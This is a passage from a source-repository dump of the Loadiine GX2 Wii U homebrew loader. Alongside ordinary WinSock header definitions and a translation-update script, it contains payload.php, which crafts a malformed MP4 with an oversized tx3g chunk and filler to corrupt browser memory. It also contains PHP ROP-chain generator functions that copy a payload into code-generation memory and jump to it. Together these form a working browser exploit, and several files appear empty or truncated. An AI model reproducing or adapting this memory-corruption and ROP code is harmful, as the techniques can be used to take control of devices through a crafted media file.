(((fd_set *)(set))->fd_count < FD_SETSIZE) \ ((fd_set *)(set))->fd_array[((fd_set *)(set))->fd_count++]=(fd);\ }while (0) #endif #ifndef FD_ZERO #define FD_ZERO(set) (((fd_set *)(set))->fd_count=0) #endif #ifndef FD_ISSET #define FD_ISSET(fd, set) __WSAFDIsSet((SOCKET)(fd), (fd_set *)(set)) #endif #elif !defined(USE_SYS_TYPES_FD_SET) #warning "fd_set and associated macros have been defined in sys/types. \ This can cause runtime problems with W32 sockets" #endif /* ndef _SYS_TYPES_FD_SET */ #if !(defined (__INSIDE_CYGWIN__) || defined (__INSIDE_MSYS__)) #ifndef _TIMEVAL_DEFINED /* also in sys/time.h */ #define _TIMEVAL_DEFINED struct timeval { long tv_sec; long tv_usec; }; #define timerisset(tvp) ((tvp)->tv_sec || (tvp)->tv_usec) #define timercmp(tvp, uvp, cmp) \ (((tvp)->tv_sec != (uvp)->tv_sec) ? \ ((tvp)->tv_sec cmp (uvp)->tv_sec) : \ ((tvp)->tv_usec cmp (uvp)->tv_usec)) #define timerclear(tvp) (tvp)->tv_sec = (tvp)->tv_usec = 0 #endif /* _TIMEVAL_DEFINED */ struct hostent { char *h_name; char **h_aliases; short h_addrtype; short h_length; char **h_addr_list; #define h_addr h_addr_list[0] }; struct linger { u_short l_onoff; u_short l_linger; }; #endif /* ! (__INSIDE_CYGWIN__ || __INSIDE_MSYS__) */ #define IOCPARM_MASK 0x7f #define IOC_VOID 0x20000000 #define IOC_OUT 0x40000000 #define IOC_IN 0x80000000 #define IOC_INOUT (IOC_IN|IOC_OUT) #if !(defined (__INSIDE_CYGWIN__) || defined (__INSIDE_MSYS__)) #define _IO(x,y) (IOC_VOID|((x)<<8)|(y)) #define _IOR(x,y,t) (IOC_OUT|(((long)sizeof(t)&IOCPARM_MASK)<<16)|((x)<<8)|(y)) #define _IOW(x,y,t) (IOC_IN|(((long)sizeof(t)&IOCPARM_MASK)<<16)|((x)<<8)|(y)) #define FIONBIO _IOW('f', 126, u_long) #endif /* ! (__INSIDE_CYGWIN__ || __INSIDE_MSYS__) */ #define FIONREAD _IOR('f', 127, u_long) #define FIOASYNC _IOW('f', 125, u_long) #define SIOCSHIWAT _IOW('s', 0, u_long) #define SIOCGHIWAT _IOR('s', 1, u_long) #define SIOCSLOWAT _IOW('s', 2, u_long) #define SIOCGLOWAT _IOR('s', 3, u_long) #define SIOCATMARK _IOR('s', 7, u_long) #if !(defined (__INSIDE_CYGWIN__) || defined (__INSIDE_MSYS__)) struct netent { char * n_name; char **n_aliases; short n_addrtype; u_long n_net; }; struct servent { char *s_name; char **s_aliases; short s_port; char *s_proto; }; struct protoent { char *p_name; char **p_aliases; short p_proto; }; #endif /* ! (__INSIDE_CYGWIN__ || __INSIDE_MSYS__) */ #define IPPROTO_IP 0 #define IPPROTO_ICMP 1 #define IPPROTO_IGMP 2 #define IPPROTO_GGP 3 #define IPPROTO_TCP 6 #define IPPROTO_PUP 12 #define IPPROTO_UDP 17 #define IPPROTO_IDP 22 #define IPPROTO_ND 77 #define IPPROTO_RAW 255 #define IPPROTO_MAX 256 #define IPPORT_ECHO 7 #define IPPORT_DISCARD 9 #define IPPORT_SYSTAT 11 #define IPPORT_DAYTIME 13 #define IPPORT_NETSTAT 15 #define IPPORT_FTP 21 #define IPPORT_TELNET 23 #define IPPORT_SMTP 25 #define IPPORT_TIMESERVER 37 #define IPPORT_NAMESERVER 42 #define IPPORT_WHOIS 43 #define IPPORT_MTP 57 #define IPPORT_TFTP 69 #define IPPORT_RJE 77 #define IPPORT_FINGER 79 #define IPPORT_TTYLINK 87 #define IPPORT_SUPDUP 95 #define IPPORT_EXECSERVER 512 #define IPPORT_LOGINSERVER 513 #define IPPORT_CMDSERVER 514 #define IPPORT_EFSSERVER 520 #define IPPORT_BIFFUDP 512 #define IPPORT_WHOSERVER 513 #define IPPORT_ROUTESERVER 520 #define IPPORT_RESERVED 1024 #define IMPLINK_IP 155 #define IMPLINK_LOWEXPER 156 #define IMPLINK_HIGHEXPER 158 struct in_addr { union { struct { u_char s_b1,s_b2,s_b3,s_b4; } S_un_b; struct { u_short s_w1,s_w2; } S_un_w; u_long S_addr; } S_un; #define s_addr S_un.S_addr #define s_host S_un.S_un_b.s_b2 #define s_net S_un.S_un_b.s_b1 #define s_imp S_un.S_un_w.s_w2 #define s_impno S_un.S_un_b.s_b4 #define s_lh S_un.S_un_b.s_b3 }; #define IN_CLASSA(i) (((long)(i)&0x80000000) == 0) #define IN_CLASSA_NET 0xff000000 #define IN_CLASSA_NSHIFT 24 #define IN_CLASSA_HOST 0x00ffffff #define IN_CLASSA_MAX 128 #define IN_CLASSB(i) (((long)(i)&0xc0000000)==0x80000000) #define IN_CLASSB_NET 0xffff0000 #define IN_CLASSB_NSHIFT 16 #define IN_CLASSB_HOST 0x0000ffff #define IN_CLASSB_MAX 65536 #define IN_CLASSC(i) (((long)(i)&0xe0000000)==0xc0000000) #define IN_CLASSC_NET 0xffffff00 #define IN_CLASSC_NSHIFT 8 #define IN_CLASSC_HOST 0xff #define INADDR_ANY (u_long)0 #define INADDR_LOOPBACK 0x7f000001 #define INADDR_BROADCAST (u_long)0xffffffff #define INADDR_NONE 0xffffffff struct sockaddr_in { short sin_family; u_short sin_port; struct in_addr sin_addr; char sin_zero[8]; }; #define WSADESCRIPTION_LEN 256 #define WSASYS_STATUS_LEN 128 typedef struct WSAData { WORD wVersion; WORD wHighVersion; char szDescription[WSADESCRIPTION_LEN+1]; char szSystemStatus[WSASYS_STATUS_LEN+1]; unsigned short iMaxSockets; unsigned short iMaxUdpDg; char * lpVendorInfo; } WSADATA; typedef WSADATA *LPWSADATA; #if !(defined (__INSIDE_CYGWIN__) || defined (__INSIDE_MSYS__)) #define IP_OPTIONS 1 #define SO_DEBUG 1 #define SO_ACCEPTCONN 2 #define SO_REUSEADDR 4 #define SO_KEEPALIVE 8 #define SO_DONTROUTE 16 #define SO_BROADCAST 32 #define SO_USELOOPBACK 64 #define SO_LINGER 128 #define SO_OOBINLINE 256 #define SO_DONTLINGER (u_int)(~SO_LINGER) #define SO_SNDBUF 0x1001 #define SO_RCVBUF 0x1002 #define SO_SNDLOWAT 0x1003 #define SO_RCVLOWAT 0x1004 #define SO_SNDTIMEO 0x1005 #define SO_RCVTIMEO 0x1006 #define SO_ERROR 0x1007 #define SO_TYPE 0x1008 #endif /* ! (__INSIDE_CYGWIN__ || __INSIDE_MSYS__) */ /* * Note that the next 5 IP defines are specific to WinSock 1.1 (wsock32.dll). * They will cause errors or unexpected results if used with the * (gs)etsockopts exported from the WinSock 2 lib, ws2_32.dll. Refer ws2tcpip.h. */ #define IP_MULTICAST_IF 2 #define IP_MULTICAST_TTL 3 #define IP_MULTICAST_LOOP 4 #define IP_ADD_MEMBERSHIP 5 #define IP_DROP_MEMBERSHIP 6 #define IP_DEFAULT_MULTICAST_TTL 1 #define IP_DEFAULT_MULTICAST_LOOP 1 #define IP_MAX_MEMBERSHIPS 20 struct ip_mreq { struct in_addr imr_multiaddr; struct in_addr imr_interface; }; #define INVALID_SOCKET (SOCKET)(~0) #define SOCKET_ERROR (-1) #define SOCK_STREAM 1 #define SOCK_DGRAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define TCP_NODELAY 0x0001 #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_INET 2 #define AF_IMPLINK 3 #define AF_PUP 4 #define AF_CHAOS 5 #define AF_IPX 6 #define AF_NS 6 #define AF_ISO 7 #define AF_OSI AF_ISO #define AF_ECMA 8 #define AF_DATAKIT 9 #define AF_CCITT 10 #define AF_SNA 11 #define AF_DECnet 12 #define AF_DLI 13 #define AF_LAT 14 #define AF_HYLINK 15 #define AF_APPLETALK 16 #define AF_NETBIOS 17 #define AF_VOICEVIEW 18 #define AF_FIREFOX 19 #define AF_UNKNOWN1 20 #define AF_BAN 21 #define AF_ATM 22 #define AF_INET6 23 #if !(defined (__INSIDE_CYGWIN__) || defined (__INSIDE_MSYS__)) #define AF_MAX 24 struct sockaddr { u_short sa_family; char sa_data[14]; }; #endif /* ! (__INSIDE_CYGWIN__ || __INSIDE_MSYS__) */ struct sockproto { u_short sp_family; u_short sp_protocol; }; #define PF_UNSPEC AF_UNSPEC #define PF_UNIX AF_UNIX #define PF_INET AF_INET #define PF_IMPLINK AF_IMPLINK #define PF_PUP AF_PUP #define PF_CHAOS AF_CHAOS #define PF_NS AF_NS #define PF_IPX AF_IPX #define PF_ISO AF_ISO #define PF_OSI AF_OSI #define PF_ECMA AF_ECMA #define PF_DATAKIT AF_DATAKIT #define PF_CCITT AF_CCITT #define PF_SNA AF_SNA #define PF_DECnet AF_DECnet #define PF_DLI AF_DLI #define PF_LAT AF_LAT #define PF_HYLINK AF_HYLINK #define PF_APPLETALK AF_APPLETALK #define PF_VOICEVIEW AF_VOICEVIEW #define PF_FIREFOX AF_FIREFOX #define PF_UNKNOWN1 AF_UNKNOWN1 #define PF_BAN AF_BAN #define PF_ATM AF_ATM #define PF_INET6 AF_INET6 #define PF_MAX AF_MAX #define SOL_SOCKET 0xffff #define SOMAXCONN 5 #if !(defined (__INSIDE_CYGWIN__) || defined (__INSIDE_MSYS__)) #define MSG_OOB 1 #define MSG_PEEK 2 #define MSG_DONTROUTE 4 #endif /* ! (__INSIDE_CYGWIN__ || __INSIDE_MSYS__) */ #define MSG_MAXIOVLEN 16 #define MSG_PARTIAL 0x8000 #define MAXGETHOSTSTRUCT 1024 #define FD_READ 1 #define FD_WRITE 2 #define FD_OOB 4 #define FD_ACCEPT 8 #define FD_CONNECT 16 #define FD_CLOSE 32 #ifndef WSABASEERR #define WSABASEERR 10000 #define WSAEINTR (WSABASEERR+4) #define WSAEBADF (WSABASEERR+9) #define WSAEACCES (WSABASEERR+13) #define WSAEFAULT (WSABASEERR+14) #define WSAEINVAL (WSABASEERR+22) #define WSAEMFILE (WSABASEERR+24) #define WSAEWOULDBLOCK (WSABASEERR+35) #define WSAEINPROGRESS (WSABASEERR+36) #define WSAEALREADY (WSABASEERR+37) #define WSAENOTSOCK (WSABASEERR+38) #define WSAEDESTADDRREQ (WSABASEERR+39) #define WSAEMSGSIZE (WSABASEERR+40) #define WSAEPROTOTYPE (WSABASEERR+41) #define WSAENOPROTOOPT (WSABASEERR+42) #define WSAEPROTONOSUPPORT (WSABASEERR+43) #define WSAESOCKTNOSUPPORT (WSABASEERR+44) #define WSAEOPNOTSUPP (WSABASEERR+45) #define WSAEPFNOSUPPORT (WSABASEERR+46) #define WSAEAFNOSUPPORT (WSABASEERR+47) #define WSAEADDRINUSE (WSABASEERR+48) #define WSAEADDRNOTAVAIL (WSABASEERR+49) #define WSAENETDOWN (WSABASEERR+50) #define WSAENETUNREACH (WSABASEERR+51) #define WSAENETRESET (WSABASEERR+52) #define WSAECONNABORTED (WSABASEERR+53) #define WSAECONNRESET (WSABASEERR+54) #define WSAENOBUFS (WSABASEERR+55) #define WSAEISCONN (WSABASEERR+56) #define WSAENOTCONN (WSABASEERR+57) #define WSAESHUTDOWN (WSABASEERR+58) #define WSAETOOMANYREFS (WSABASEERR+59) #define WSAETIMEDOUT (WSABASEERR+60) #define WSAECONNREFUSED (WSABASEERR+61) #define WSAELOOP (WSABASEERR+62) #define WSAENAMETOOLONG (WSABASEERR+63) #define WSAEHOSTDOWN (WSABASEERR+64) #define WSAEHOSTUNREACH (WSABASEERR+65) #define WSAENOTEMPTY (WSABASEERR+66) #define WSAEPROCLIM (WSABASEERR+67) #define WSAEUSERS (WSABASEERR+68) #define WSAEDQUOT (WSABASEERR+69) #define WSAESTALE (WSABASEERR+70) #define WSAEREMOTE (WSABASEERR+71) #define WSAEDISCON (WSABASEERR+101) #define WSASYSNOTREADY (WSABASEERR+91) #define WSAVERNOTSUPPORTED (WSABASEERR+92) #define WSANOTINITIALISED (WSABASEERR+93) #define WSAHOST_NOT_FOUND (WSABASEERR+1001) #define WSATRY_AGAIN (WSABASEERR+1002) #define WSANO_RECOVERY (WSABASEERR+1003) #define WSANO_DATA (WSABASEERR+1004) #endif /* !WSABASEERR */ #define WSANO_ADDRESS WSANO_DATA #if !(defined (__INSIDE_CYGWIN__) || defined (__INSIDE_MSYS__)) #define h_errno WSAGetLastError() #define HOST_NOT_FOUND WSAHOST_NOT_FOUND #define TRY_AGAIN WSATRY_AGAIN #define NO_RECOVERY WSANO_RECOVERY #define NO_DATA WSANO_DATA #define NO_ADDRESS WSANO_ADDRESS #endif /* ! (__INSIDE_CYGWIN__ || __INSIDE_MSYS__) */ SOCKET PASCAL accept(SOCKET,struct sockaddr*,int*); int PASCAL bind(SOCKET,const struct sockaddr*,int); int PASCAL closesocket(SOCKET); int PASCAL connect(SOCKET,const struct sockaddr*,int); int PASCAL ioctlsocket(SOCKET,long,u_long *); int PASCAL getpeername(SOCKET,struct sockaddr*,int*); int PASCAL getsockname(SOCKET,struct sockaddr*,int*); int PASCAL getsockopt(SOCKET,int,int,char*,int*); unsigned long PASCAL inet_addr(const char*); DECLARE_STDCALL_P(char *) inet_ntoa(struct in_addr); int PASCAL listen(SOCKET,int); int PASCAL recv(SOCKET,char*,int,int); int PASCAL recvfrom(SOCKET,char*,int,int,struct sockaddr*,int*); int PASCAL send(SOCKET,const char*,int,int); int PASCAL sendto(SOCKET,const char*,int,int,const struct sockaddr*,int); int PASCAL setsockopt(SOCKET,int,int,const char*,int); int PASCAL shutdown(SOCKET,int); SOCKET PASCAL socket(int,int,int); DECLARE_STDCALL_P(struct hostent *) gethostbyaddr(const char*,int,int); DECLARE_STDCALL_P(struct hostent *) gethostbyname(const char*); DECLARE_STDCALL_P(struct servent *) getservbyport(int,const char*); DECLARE_STDCALL_P(struct servent *) getservbyname(const char*,const char*); DECLARE_STDCALL_P(struct protoent *) getprotobynumber(int); DECLARE_STDCALL_P(struct protoent *) getprotobyname(const char*); int PASCAL WSAStartup(WORD,LPWSADATA); int PASCAL WSACleanup(void); void PASCAL WSASetLastError(int); int PASCAL WSAGetLastError(void); BOOL PASCAL WSAIsBlocking(void); int PASCAL WSAUnhookBlockingHook(void); FARPROC PASCAL WSASetBlockingHook(FARPROC); int PASCAL WSACancelBlockingCall(void); HANDLE PASCAL WSAAsyncGetServByName(HWND,u_int,const char*,const char*,char*,int); HANDLE PASCAL WSAAsyncGetServByPort(HWND,u_int,int,const char*,char*,int); HANDLE PASCAL WSAAsyncGetProtoByName(HWND,u_int,const char*,char*,int); HANDLE PASCAL WSAAsyncGetProtoByNumber(HWND,u_int,int,char*,int); HANDLE PASCAL WSAAsyncGetHostByName(HWND,u_int,const char*,char*,int); HANDLE PASCAL WSAAsyncGetHostByAddr(HWND,u_int,const char*,int,int,char*,int); int PASCAL WSACancelAsyncRequest(HANDLE); int PASCAL WSAAsyncSelect(SOCKET,HWND,u_int,long); #if !(defined (__INSIDE_CYGWIN__) || defined (__INSIDE_MSYS__)) u_long PASCAL htonl(u_long); u_long PASCAL ntohl(u_long); u_short PASCAL htons(u_short); u_short PASCAL ntohs(u_short); int PASCAL select(int nfds,fd_set*,fd_set*,fd_set*,const struct timeval*); int PASCAL gethostname(char*,int); #endif /* ! (__INSIDE_CYGWIN__ || __INSIDE_MSYS__) */ #define WSAMAKEASYNCREPLY(b,e) MAKELONG(b,e) #define WSAMAKESELECTREPLY(e,error) MAKELONG(e,error) #define WSAGETASYNCBUFLEN(l) LOWORD(l) #define WSAGETASYNCERROR(l) HIWORD(l) #define WSAGETSELECTEVENT(l) LOWORD(l) #define WSAGETSELECTERROR(l) HIWORD(l) typedef struct sockaddr SOCKADDR; typedef struct sockaddr *PSOCKADDR; typedef struct sockaddr *LPSOCKADDR; typedef struct sockaddr_in SOCKADDR_IN; typedef struct sockaddr_in *PSOCKADDR_IN; typedef struct sockaddr_in *LPSOCKADDR_IN; typedef struct linger LINGER; typedef struct linger *PLINGER; typedef struct linger *LPLINGER; typedef struct in_addr IN_ADDR; typedef struct in_addr *PIN_ADDR; typedef struct in_addr *LPIN_ADDR; typedef struct fd_set FD_SET; typedef struct fd_set *PFD_SET; typedef struct fd_set *LPFD_SET; typedef struct hostent HOSTENT; typedef struct hostent *PHOSTENT; typedef struct hostent *LPHOSTENT; typedef struct servent SERVENT; typedef struct servent *PSERVENT; typedef struct servent *LPSERVENT; typedef struct protoent PROTOENT; typedef struct protoent *PPROTOENT; typedef struct protoent *LPPROTOENT; typedef struct timeval TIMEVAL; typedef struct timeval *PTIMEVAL; typedef struct timeval *LPTIMEVAL; #ifdef __cplusplus } #endif /* * Recent MSDN docs indicate that the MS-specific extensions exported from * mswsock.dll (AcceptEx, TransmitFile. WSARecEx and GetAcceptExSockaddrs) are * declared in mswsock.h. These extensions are not supported on W9x or WinCE. * However, code using WinSock 1.1 API may expect the declarations and * associated defines to be in this header. Thus we include mswsock.h here. * * When linking against the WinSock 1.1 lib, wsock32.dll, the mswsock functions * are automatically routed to mswsock.dll (on platforms with support). * The WinSock 2 lib, ws2_32.dll, does not contain any references to * the mswsock extensions. */ #include #endif ================================================ FILE: updatelang.sh ================================================ #! /bin/bash # find . -iname "*.cpp" -or -iname "*.c" | xargs xgettext --no-wrap -ktr -ktrNOOP -o languages/english.lang -j --no-location --omit-header echo "Updated lang" find . -iname "*.cpp" -or -iname "*.c" | xargs xgettext --no-wrap -ktr -ktrNOOP -o languages/english.lang -j --omit-header --sort-by-file for fn in `find languages/*.lang`; do if [ "$fn" != "languages/english.lang" ]; then echo "Updated $fn" msgmerge --output-file=$fn $fn languages/english.lang --no-wrap fi done ================================================ FILE: www/loadiine_gx2/frame.html ================================================ ================================================ FILE: www/loadiine_gx2/index.html ================================================
================================================ FILE: www/loadiine_gx2/payload.php ================================================ = 0x6000) { header("HTTP/1.1 500 Internal Server Error"); die("The payload binary is too large.\n"); } while($i+4 < 0x5000) { $con.= pack("N*", 0x90909090); $i+= 4; } continue; } else { $writeval = 0x58585858; } } else if($i<$tx3g_ropchain_start) { $writeval = $ROP_POPJUMPLR_STACK12; } else if($i==$tx3g_ropchain_start) { $con.= pack("N*", $ROP_POPJUMPLR_STACK12); $con.= pack("N*", 0x48484848);//If LR ever gets loaded from here there's no known way to recover from that automatically, this code would need manually adjusted if that ever happens. Hopefully this doesn't ever happen. $i+= 0x8; $con.= $ROPCHAIN; $i+= strlen($ROPCHAIN)-4; if($i+4 > $first_tx3g_size-8) { header("HTTP/1.1 500 Internal Server Error"); $pos = ($i+4) - ($first_tx3g_size-8); die("The generated ROP-chain is $pos bytes too large.\n"); } continue; } else { $writeval = 0x48484848; } $con.= pack("N*", $writeval); } $con.= pack("N*", 0x1c5);//Setup the mdia chunk. $con.= pack("N*", 0x6d646961); $con.= pack("N*", 0x1);//Setup the second tx3g chunk: size+chunkid, followed by the actual chunk size in u64 form. $con.= pack("N*", 0x74783367); $con.= pack("N*", 0x1); $con.= pack("N*", 0x100000000-$first_tx3g_size);//Haxx buffer alloc size passed to the memalloc code is 0x100000000. for($i=0; $i<0x2000; $i+=4)//Old stuff, probably should be removed(testing is required for that). { $con.= pack("N*", 0x8495a6b4); } header("Content-Type: video/mp4"); echo $con; ?> ================================================ FILE: www/loadiine_gx2/payload400.html ================================================ ================================================ FILE: www/loadiine_gx2/payload410.html ================================================ ================================================ FILE: www/loadiine_gx2/payload500.html ================================================ ================================================ FILE: www/loadiine_gx2/payload532.html ================================================ ================================================ FILE: www/loadiine_gx2/wiiu_browserhax_common.php ================================================ ); ropchain_appendu32($r28);//r28 ropchain_appendu32(0x0);//r29 ropchain_appendu32(0x0);//r30 ropchain_appendu32(0x0);//r31 ropchain_appendu32(0x0); ropgen_OSFatal($outstr); } function ropgen_switchto_core1() { global $ROP_OSGetCurrentThread, $ROP_OSSetThreadAffinity, $ROP_OSYieldThread, $ROP_CALLR28_POP_R28_TO_R31; ropgen_callfunc($ROP_OSGetCurrentThread, 0x0, 0x2, 0x0, 0x0, $ROP_OSSetThreadAffinity);//Set r3 to current OSThread* and setup r31 + the r28 value used by the below. ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31);//ROP_OSSetThreadAffinity(, 0x2); ropchain_appendu32($ROP_OSYieldThread);//r28 ropchain_appendu32(0x0);//r29 ropchain_appendu32(0x0);//r30 ropchain_appendu32(0x0);//r31 ropchain_appendu32(0x0); ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31); ropchain_appendu32(0x0);//r28 ropchain_appendu32(0x0);//r29 ropchain_appendu32(0x0);//r30 ropchain_appendu32(0x0);//r31 ropchain_appendu32(0x0); } function generateropchain_type1() { global $ROP_OSFatal, $ROP_Exit, $ROP_OSDynLoad_Acquire, $ROP_OSDynLoad_FindExport, $ROP_os_snprintf, $payload_srcaddr, $ROPHEAP, $ROPCHAIN; $payload_size = 0x20000;//Doesn't really matter if the actual payload data size in memory is smaller than this or not. $codegen_addr = 0x01800000; //$payload_srcaddr must be defined by the code including this .php. //ropgen_colorfill(0x1, 0xff, 0xff, 0x0, 0xff);//Color-fill the gamepad screen with yellow. //ropchain_appendu32(0x80808080);//Trigger a crash. //ropgen_OSFatal($codepayload_srcaddr);//OSFatal(); ropgen_switchto_core1();//When running under internetbrowser, only core1 is allowed to use codegen. Switch to core1 just in case this thread isn't on core1(with some exploit(s) it may already be one core1, but do this anyway). OSSetThreadAffinity() currently returns an error for this, hence this codebase is only usable when this ROP is already running on core1. ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size); //ropgen_colorfill(0x1, 0xff, 0xff, 0xff, 0xff);//Color-fill the gamepad screen with white. $regs = array(); $regs[24 - 24] = $ROP_OSFatal;//r24 $regs[25 - 24] = $ROP_Exit;//r25 $regs[26 - 24] = $ROP_OSDynLoad_Acquire;//r26 $regs[27 - 24] = $ROP_OSDynLoad_FindExport;//r27 $regs[28 - 24] = $ROP_os_snprintf;//r28 $regs[29 - 24] = $payload_srcaddr;//r29 $regs[30 - 24] = 0x8;//r30 The payload can do this at entry to determine the start address of the code-loading ROP-chain: r1+= r30. r1+4 after that is where the jump-addr should be loaded from. The above r29 is a ptr to the input data used for payload loading. $regs[31 - 24] = $ROPHEAP;//r31 ropgen_pop_r24_to_r31($regs);//Setup r24..r31 at the time of payload entry. Basically a "paramblk" in the form of registers, since this is the only available way to do this with the ROP-gadgets currently used by this codebase. ropchain_appendu32($codegen_addr);//Jump to the codegen area where the payload was written. //Setup the code-loading ROP-chain which can be used by the loader-payload, since the above one isn't usable after execution due to being corrupted. ropchain_appendu32(0x0); ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size); ropgen_pop_r24_to_r31($regs); ropchain_appendu32($codegen_addr); } ?> ================================================ FILE: www/loadiine_gx2/wiiuhaxx_common_cfg.php ================================================ ================================================ FILE: www/loadiine_gx2/wiiuhaxx_rop_sysver_532.php ================================================ ================================================ FILE: www/loadiine_gx2/wiiuhaxx_rop_sysver_550.php ================================================